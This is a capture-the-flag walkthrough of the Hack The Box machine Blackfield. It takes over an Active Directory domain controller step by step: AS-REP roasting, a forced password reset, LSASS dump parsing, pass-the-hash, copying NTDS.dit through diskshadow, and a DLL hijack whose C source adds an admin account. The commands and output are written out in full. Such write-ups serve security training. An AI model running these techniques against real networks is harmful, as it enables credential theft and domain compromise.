Blackfield - Hack The Box

Blackfield was a fun Windows box where we get a list of potential usernames from an open SMB share, validate that list using kerbrute, then find and crack the hash of an account with the AS-REProasting technique. After getting that first user, we’ll use Bloodhound to discover that we can change another account’s password, then from there access a previously locked down SMB share, retrieve an LSASS dump file and get more credentials. For the last part of the box we’ll abuse the Backup Operators role to download a copy of the NTDS.dit file and recover the administrator NT hash.


We’ll start this box like any other machine, by scanning the open ports to identify the operating system and services running. We’re pretty confident that this box is is configured as a domain controller because port 88 for Kerberos is listening, as well as LDAP on port 389. The service running on port 88 is responsible for authenticating users on the domain and issuing Kerberos tickets.

snowscan@kali:~/htb/blackfield_demo$ sudo nmap -sC -sV -p- -T4
Starting Nmap 7.80 ( ) at 2020-08-31 21:39 EDT
Nmap scan report for
Host is up (0.038s latency).
Not shown: 65527 filtered ports
53/tcp   open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-09-01 08:44:13Z)
135/tcp  open  msrpc         Microsoft Windows RPC
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found

SMB enumeration

Crackmapexec is a post-exploitation tool that helps automate some tasks such as password spraying, enumerating shares, validating local admin access, executing commands on target machines, and much more. The nice thing is by default it will identify the operating system, hostname, domain name, SMB version and if SMB signing is enabled.

Here, we see that the operating system is Windows Server 2019, based on the Build 17763 ID and some googling:

snowscan@kali:~$ crackmapexec smb
SMB    445    DC01             [*] Windows 10.0 Build 17763 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)


There’s a nice tool called smbmap that we can use to enumerate SMB shares on a target machine. By default if you run it without specifying any username it will attempt to connect with a NULL session and we don’t get anything back because this is normally not enabled by default on modern versions of Windows Server.

snowscan@kali:~$ smbmap -H
[+] IP:	Name:

However if you give it an invalid username, without specifying the password it will connect to the machine using a guest session. In this case, the guest session has access to list the shares on the machine.

snowscan@kali:~$ smbmap -u invalid -H
[+] Guest session   	IP:	Name:                                      
        Disk                                                  	Permissions	Comment

----                                                  	-----------	-------

	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	forensic                                          	NO ACCESS	Forensic / Audit share.
	IPC$                                              	READ ONLY	Remote IPC
	NETLOGON                                          	NO ACCESS	Logon server share 
	profiles$                                         	READ ONLY	
	SYSVOL                                            	NO ACCESS	Logon server share

We see two non-default shares on the machine: profiles$ and forensic, the later being inaccessible for the moment from our guest session. To check the files in the profiles$ share we could use smbmap but I’ll show the smbclient tool here. Again, we can specify an invalid username (if you don’t specify anything with smbclient, it’ll use your current Linux username). The share contains a bunch of directories for what seems to be a list of users on the domain controller.

snowscan@kali:~$ smbclient -U invalid //\$
Enter WORKGROUP\invalid's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jun  3 12:47:12 2020
  ..                                  D        0  Wed Jun  3 12:47:12 2020
  AAlleni                             D        0  Wed Jun  3 12:47:11 2020
  ABarteski                           D        0  Wed Jun  3 12:47:11 2020
  ABekesz                             D        0  Wed Jun  3 12:47:11 2020
  ABenzies                            D        0  Wed Jun  3 12:47:11 2020
  ABiemiller                          D        0  Wed Jun  3 12:47:11 2020
  AChampken                           D        0  Wed Jun  3 12:47:11 2020
  ACheretei                           D        0  Wed Jun  3 12:47:11 2020
  ACsonaki                            D        0  Wed Jun  3 12:47:11 2020

To save that long list of users to a file we can pipe the smbclient output to awk and select only the first string from the output.

snowscan@kali:~/htb/blackfield_demo$ smbclient -U invalid%invalid //\$ -c ls | awk '{print $1}' > users.txt
snowscan@kali:~/htb/blackfield_demo$ head users.txt

Checking for valid users on the machine

Now that we have a list of potential usernames, we need to check if each of them is actually a real user account on the system. The fastest way to do this when we have access to the domain controller over port 88 is to use a tool like kerbrute.

To enumerate usernames, Kerbrute sends TGT requests with no pre-authentication. If the KDC responds with a PRINCIPAL UNKNOWN error, the username does not exist. However, if the KDC prompts for pre-authentication, we know the username exists and we move on. This does not cause any login failures so it will not lock out any accounts. This generates a Windows event ID 4768 if Kerberos logging is enabled.

It takes a few minutes to run and we eventually get the confirmation about two valid accounts present on the system:

  • audit2020
  • svc_support
  • support
snowscan@kali:~/htb/blackfield_demo$ kerbrute userenum --dc -d blackfield users.txt

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 08/31/20 - Ronnie Flathers @ropnop

2020/08/31 19:28:55 >  Using KDC(s):
2020/08/31 19:28:55 >

2020/08/31 19:29:16 >  [+] VALID USERNAME:	 audit2020@blackfield
2020/08/31 19:31:13 >  [+] VALID USERNAME:	 svc_backup@blackfield
2020/08/31 19:31:13 >  [+] VALID USERNAME:	 support@blackfield

Cracking hashes with AS-REP roasting

Now that we have some account names, we’ll try to get some passwords or hashes. A few typical ways we could do this would be to run Responder if we’re on the same network segment as the users connecting to the machine, or we could also use the Kerberoast technique to get an encrypted hash from an account with a Service Principal name and crack it offline.

The technique we’ll use here instead is AS-REP roasting and it exploits a non-default misconfiguration of user accounts. In a nutshell, if you disable pre-authentication on an account, you can crack the hash offline just like you would do using Kerberoast.

The ASREPRoast attack looks for users without Kerberos pre-authentication required attribute (DONT_REQ_PREAUTH). That means that anyone can send an AS_REQ request to the DC on behalf of any of those users, and receive an AS_REP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline.

The impacket suite has a script that performs this attack. Since our Kali VM isn’t configured to resolve the domain using the target machine DNS we need to provide the IP address of the DC and the list of valid users. The output here shows that the support account has Pre-Authentication disabled and we can retrieve the asrep hash.

snowscan@kali:~/htb/blackfield_demo$ impacket-GetNPUsers blackfield/ -no-pass -dc-ip -usersfile valid_users.txt 
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[-] User audit2020 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc_backup doesn't have UF_DONT_REQUIRE_PREAUTH set

John The Ripper, a popular password cracking tool, already supports this hash type and providing the standard rockyou.txt wordlist we’re able to crack this very quickly. The password is: #00^BlackKnight

snowscan@kali:~/htb/blackfield_demo$ john -w=/usr/share/wordlists/rockyou.txt asrep.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
#00^BlackKnight  ($krb5asrep$23$support@BLACKFIELD)

Identify attack path from support to audit2020

Using crackmapexec, we can confirm that the credentials are valid and look for additional shares that may be available. Here we see that the password for user support is valid but we don’t have any additional access.

snowscan@kali:~/htb/blackfield_demo$ crackmapexec smb -u support -p '#00^BlackKnight' --shares
SMB    445    DC01             [*] Windows 10.0 Build 17763 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB    445    DC01             [+] BLACKFIELD.local\support:#00^BlackKnight 
SMB    445    DC01             [+] Enumerated shares
SMB    445    DC01             Share           Permissions     Remark
SMB    445    DC01             -----           -----------     ------
SMB    445    DC01             ADMIN$                          Remote Admin
SMB    445    DC01             C$                              Default share
SMB    445    DC01             forensic                        Forensic / Audit share.
SMB    445    DC01             IPC$            READ            Remote IPC
SMB    445    DC01             NETLOGON        READ            Logon server share 
SMB    445    DC01             profiles$       READ            
SMB    445    DC01             SYSVOL          READ            Logon server share

To look for attack paths in Active Directory we’ll use Bloodhound, an Electron based tool that uses a neo4j database fed by a data collector to reveal hidden or unintended relationships between objects. The ingestor that comes with Bloodhound is written in C# and runs on Windows but there is also a Python-based ingestor that we’ll use instead. The ingestor will connect to Active Directory with the account credentials and download the list of computers, users, groups and access-lists then save it to a bunch of JSON files.

snowscan@kali:~/htb/blackfield_demo$ python3 ~/tools/ -c all -u support -p '#00^BlackKnight' -d blackfield.local -ns
INFO: Found AD domain: blackfield.local
INFO: Connecting to LDAP server: dc01.blackfield.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 18 computers
INFO: Connecting to LDAP server: dc01.blackfield.local
INFO: Found 315 users
INFO: Connecting to GC LDAP server: dc01.blackfield.local
INFO: Found 51 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.BLACKFIELD.local
INFO: Done in 00M 06S

snowscan@kali:~/htb/blackfield_demo$ ls -l *.json
-rw-r--r-- 1 snowscan snowscan   2973 Aug 31 19:53 computers.json
-rw-r--r-- 1 snowscan snowscan   2765 Aug 31 19:53 domains.json
-rw-r--r-- 1 snowscan snowscan  80718 Aug 31 19:53 groups.json
-rw-r--r-- 1 snowscan snowscan 665454 Aug 31 19:53 users.json

To load the data in Bloodhound, we first need to start the neo4j database with sudo neo4j console. When you first set it up, you’ll need to connect to port 7474 with your browser and change the default password. Once the database is setup we’ll launch Bloodhound and connect with the credentials, then click Upload Data and upload all the JSON files. Once this is done we should see the database populated like the following:


Bloodhound comes with a bunch of pre-defined queries that can help spot easy attack paths. Here, we’ll do a search for the support user then click on it to reveal the properties.


If we scroll down and select Outbound Object Control we can see that the Support user has the privileges to change the password for the Audit2020 user. This will allow us to take over the Audit2020 account.


Password reset for user Audit2020

We’ll use the net program to force the password change of the Audit2020 user. The first password entered is the new password for audit2020, here we’ll use Password123. The second password prompt is the password for the Support user.

snowscan@kali:~/htb/blackfield_demo$ net rpc password audit2020 -U support -S
Enter new password for audit2020:
Enter WORKGROUP\support's password:

Using crackmapexec, we can see that the new password works and that now have access to the forensic SMB share:

snowscan@kali:~/htb/blackfield_demo$ crackmapexec smb -u audit2020 -p Password123 --shares
SMB    445    DC01             [*] Windows 10.0 Build 17763 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB    445    DC01             [+] BLACKFIELD.local\audit2020:Password123 
SMB    445    DC01             [+] Enumerated shares
SMB    445    DC01             Share           Permissions     Remark
SMB    445    DC01             -----           -----------     ------
SMB    445    DC01             ADMIN$                          Remote Admin
SMB    445    DC01             C$                              Default share
SMB    445    DC01             forensic        READ            Forensic / Audit share.
SMB    445    DC01             IPC$            READ            Remote IPC
SMB    445    DC01             NETLOGON        READ            Logon server share 
SMB    445    DC01             profiles$       READ            
SMB    445    DC01             SYSVOL          READ            Logon server share

Getting the NTLM hash for svc_backup

After connecting to the SMB share we see a bunch of directories:

snowscan@kali:~/htb/blackfield_demo$ smbclient -U audit2020%Password123 //
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Feb 23 08:03:16 2020
  ..                                  D        0  Sun Feb 23 08:03:16 2020
  commands_output                     D        0  Sun Feb 23 13:14:37 2020
  memory_analysis                     D        0  Thu May 28 16:28:33 2020
  tools                               D        0  Sun Feb 23 08:39:08 2020

Looking around the various directories we can see that they contain various forensic evidence like command output and memory captures. The one thing that stands out is we have a memory capture of the LSASS process in the file:

smb: \> ls memory_analysis\
  .                                   D        0  Thu May 28 16:28:33 2020
  ..                                  D        0  Thu May 28 16:28:33 2020                         A 37876530  Thu May 28 16:25:36 2020                          A 24962333  Thu May 28 16:25:45 2020                           A 23993305  Thu May 28 16:25:54 2020                         A 18366396  Thu May 28 16:26:04 2020                         A  8810157  Thu May 28 16:26:13 2020                           A 41936098  Thu May 28 16:25:08 2020                             A 64288607  Thu May 28 16:25:25 2020

LSASS is the Local Security Authority Subsystem Service in Windows that handles authentication and security policies. Basically, it holds all sorts of authentication information in its memory space.

After downloading and extracting the file to our local Kali VM we’ll use the pypykatz tool to extract the credentials from the memory dump. Pypykatz is a Python implementation of Mimikatz.

snowscan@kali:~/htb/blackfield_demo$ unzip 
  inflating: lsass.DMP
snowscan@kali:~/htb/blackfield_demo$ pypykatz lsa minidump lsass.DMP |more
INFO:root:Parsing file lsass.DMP
FILE: ======== lsass.DMP =======
	== MSV ==
		Username: svc_backup
		LM: NA
		NT: 9658d1d1dcd9250115e2205d9f48400d
		SHA1: 463c13a9a31fc3252c68ba0a44f0221626a33e5c
luid 153705
	== MSV ==
		Username: Administrator
		LM: NA
		NT: 7f1e4ff8c6a8e6b6fcae2d9c0572cd62
		SHA1: db5c89a961644f0978b4b69a4d2a2239d7886368

We have both the Administrator and svc_backup user’s NTLM hash. To connect to a Windows machine without knowning the account password we can use the Pass-The-Hash technique which basically just uses the NTLM hash material as authentication. Various tools in the Impacket suite like wmiexec, smbexec and psexec support PTH but here we’ll instead connect with Evil-WinRM, an WinRM client that supports PTH along with other nice features like AMSI bypass and upload/download functionality.

Unfortunately, it seems that the Administrator has been changed since the memory dump was taken and we can’t connect with the hash we got:

snowscan@kali:~$ evil-winrm -u administrator -H 7f1e4ff8c6a8e6b6fcae2d9c0572cd62 -i

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError

Error: Exiting with code 1

But the svc_backup credentials hasn’t been changed and we can connect with the NTLM hash:

snowscan@kali:~$ evil-winrm -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d -i

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc_backup\Documents>

Privilege escalation to Administrator - Method #1

The user svc_backup is a member of the Backup Operators group as shown by the net users svc_backup output.

Local Group Memberships      *Backup Operators     *Remote Management Use
Global Group memberships     *Domain Users
The command completed successfully.

Backup operators are dangerous because they can create a disk shadow copy and access files in-use by the system. The plan here is to grab a copy of the NTDS.dit file which contains all the Active Directory credentials. For some reason you need an extra space at the end of each line otherwise the diskshadow strips off a character and the command becomes invalid.

*Evil-WinRM* PS C:\temp> upload pwn.txt
Info: Uploading pwn.txt to C:\temp\pwn.txt

Data: 116 bytes of 116 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\temp> type pwn.txt
set context persistent nowriters
add volume c: alias pwn
expose %pwn% z:

Using diskshadow we run the script and we end with a shadow drive Z:

*Evil-WinRM* PS C:\temp> diskshadow /s pwn.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  DC01,  9/1/2020 1:30:41 AM

-> set context persistent nowriters
-> add volume c: alias pwn
-> create
Alias pwn for shadow ID {4aa7fb85-c839-4e4e-98e9-a949bfb83735} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {bf423ef5-badb-4ae0-aa45-53ae68e595f7} set as environment variable.

Querying all shadow copies with the shadow copy set ID {bf423ef5-badb-4ae0-aa45-53ae68e595f7}

	* Shadow copy ID = {4aa7fb85-c839-4e4e-98e9-a949bfb83735}		%pwn%
		- Shadow copy set: {bf423ef5-badb-4ae0-aa45-53ae68e595f7}	%VSS_SHADOW_SET%
		- Original count of shadow copies = 1
		- Original volume name: \\?\Volume{351b4712-0000-0000-0000-602200000000}\ [C:\]
		- Creation time: 9/1/2020 1:30:44 AM
		- Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
		- Originating machine: DC01.BLACKFIELD.local
		- Service machine: DC01.BLACKFIELD.local
		- Not exposed
		- Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
		- Attributes:  No_Auto_Release Persistent No_Writers Differential

Number of shadow copies listed: 1
-> expose %pwn% z:
-> %pwn% = {4aa7fb85-c839-4e4e-98e9-a949bfb83735}
The shadow copy was successfully exposed as z:\.

We’ll use robocopy with the /b flag to ignore file permissions and copy the NTDS.dit file from the exposed disk shadow.

Evil-WinRM* PS C:\temp> robocopy /b z:\windows\ntds . ntds.dit

   ROBOCOPY     ::     Robust File Copy for Windows

  Started : Friday, September 11, 2020 5:43:33 PM
   Source : z:\windows\ntds\
     Dest : C:\temp\

    Files : ntds.dit

  Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30


	                   1	z:\windows\ntds\
	    New File  		  18.0 m	ntds.dit
*Evil-WinRM* PS C:\temp> download ntds.dit
Info: Downloading C:\temp\ntds.dit to ntds.dit

We also need the SYSTEM hive that contains the encryption key for the NTDS.dit file. The built-in download functionality in Evil-WinRM is kinda slow so it takes a few minutes to download the file.

*Evil-WinRM* PS C:\temp> reg save HKLM\SYSTEM c:\temp\system
The operation completed successfully.

*Evil-WinRM* PS C:\temp> download system
Info: Downloading C:\temp\system to system

Info: Download successful!

Using Impacket’s secretsdump script we can open the NTDS.dit and extract the NTLM hashes for the domain accounts. We now have the hash for the Administrator account.

snowscan@kali:~/htb/blackfield_demo$ impacket-secretsdump -ntds ntds.dit -system system local
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 35640a3fd5111b93cc50e3b4e255ff8c
[*] Reading and decrypting hashes from ntds.dit 

We can use Pass-The-Hash again with the admin’s hash, get a shell and read the root.txt flag.

snowscan@kali:~/htb/blackfield_demo$ evil-winrm -H 184fb5e5178480be64824d4cd53b99ee -u administrator -i

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\desktop\root.txt

Privilege escalation to Administrator - Method #2

With the Backup Operators group membership we can write files anywhere on the system, including C:\Windows\System32. The Update Session Orchestrator service is vulnerable to DLL hijacking because it tries to load a non-existent DLL (windowscoredeviceinfo.dll). By placing a DLL called windowscoredeviceinfo.dll in the c:\windows\system32 directory, it will be loaded by the service and we will gain code execution in a SYSTEM context.

We can use the following simple DLL that creates a new user and adds it to the local administrator’s group.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

int pwn()
	WinExec("C:\\Windows\\System32\\net.exe users snowscan Yolo1234! /add", 0);
	WinExec("C:\\Windows\\System32\\net.exe localgroup administrators snowscan /add", 0);
	return 0;

	DWORD  ul_reason_for_call,
	LPVOID lpReserved
	switch (ul_reason_for_call)
	return TRUE;

Here’s how we can compile the DLL directly from Linux.

x86_64-w64-mingw32-gcc -o windowscoredeviceinfo.dll pwn.c -shared

We’ll create a temporary directory and upload the required files there.

evil-winrm -H 9658d1d1dcd9250115e2205d9f48400d -u svc_backup -i

mkdir c:\temp
mkdir c:\temp\system32
cd c:\temp\system32
upload windowscoredeviceinfo.dll
cd ..
upload UsoDllLoader.exe

Next, we’ll use robocopy with the /b flag to copy the contents of system32 into c:\windows\system32. This will use the special backup operator’s privilege to bypass the permission check and allow us to write the DLL.

*Evil-WinRM* PS C:\temp> robocopy /b system32 c:\windows\system32

   ROBOCOPY     ::     Robust File Copy for Windows

  Started : Friday, September 11, 2020 5:10:01 PM
   Source : C:\temp\system32\
     Dest : c:\windows\system32\

    Files : *.*

  Options : *.* /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30


	                   2	C:\temp\system32\
	*EXTRA Dir        -1	c:\windows\system32\0409\
	*EXTRA Dir        -1	c:\windows\system32\ADDSDeployment_Internal\
	*EXTRA Dir        -1	c:\windows\system32\adprep\
	*EXTRA Dir        -1	c:\windows\system32\AdvancedInstallers\
	  *EXTRA File 		   30720	ztrace_maps.dll
	    New File  		  278213	WindowsCoreDeviceInfo.dll

To trigger the DLL file, we’ll use the UsoDllLoader exploit (we can ignore the error messages).

*Evil-WinRM* PS C:\temp> .\usodllloader.exe
[*] Using UpdateOrchestrator->StartScan()
    |__ Creating instance of 'UpdateSessionOrchestrator'... Done.
    |__ Creating a new Update Session... Done.
    |__ Calling 'StartScan'... Done.
[-] Unable to connect to server!
[*] Retrying with UpdateOrchestrator->StartInteractiveScan()
    |__ Creating instance of 'UpdateSessionOrchestrator'... Done.
    |__ Creating a new Update Session... Done.
    |__ Calling 'StartInteractiveScan'... Done.
[-] Unable to connect to server!
[*] Retrying with UpdateOrchestrator->StartDownload()
    |__ Creating instance of 'UpdateSessionOrchestrator'... Done.
    |__ Creating a new Update Session... Done.
    |__ Calling 'StartDownload'... Done.
[-] Unable to connect to server!
[-] Exploit failed.

We now see that our user has been created, with local admin rights:

*Evil-WinRM* PS C:\temp> net users snowscan
User name                    snowscan
Full Name
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            9/11/2020 5:10:46 PM
Password expires             10/23/2020 5:10:46 PM
Password changeable          9/12/2020 5:10:46 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      *Administrators
Global Group memberships     *Domain Users
The command completed successfully.

Womp womp… Even as a local administrator we can’t read root.txt, what’s going on?

*Evil-WinRM* PS C:\users\administrator\desktop> whoami
*Evil-WinRM* PS C:\users\administrator\desktop> type root.txt
Access to the path 'C:\users\administrator\desktop\root.txt' is denied.

The file is EFS encrypted so that’s why we can’t read it:

*Evil-WinRM* PS C:\users\administrator\desktop> cipher /c root.txt

 Listing C:\users\administrator\desktop\
 New files added to this directory will not be encrypted.

E root.txt
  Compatibility Level:
    Windows Vista/Server 2008

As I understand it, the file is encrypted with a certificate which is stored in the Windows Certificate store and only the Administrator user can access it. So if we change the administrator password and log in as administrator we’ll still be able to read the file since the cert can be retrieved:

*Evil-WinRM* PS C:\Users\snowscan\Documents> net users administrator Yolo1234!
The command completed successfully.

*Evil-WinRM* PS C:\Users\snowscan\Documents> exit

Info: Exiting with code 0

snowscan@kali:~/htb/blackfield_demo$ evil-winrm -u administrator -p 'Yolo1234!' -i

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\desktop\root.txt

Another way we could solve this without changing the password is to dump LSASS with procdump.exe,, etc. then get the administrator hash and log in as administrator using the Pass-The-Hash technique.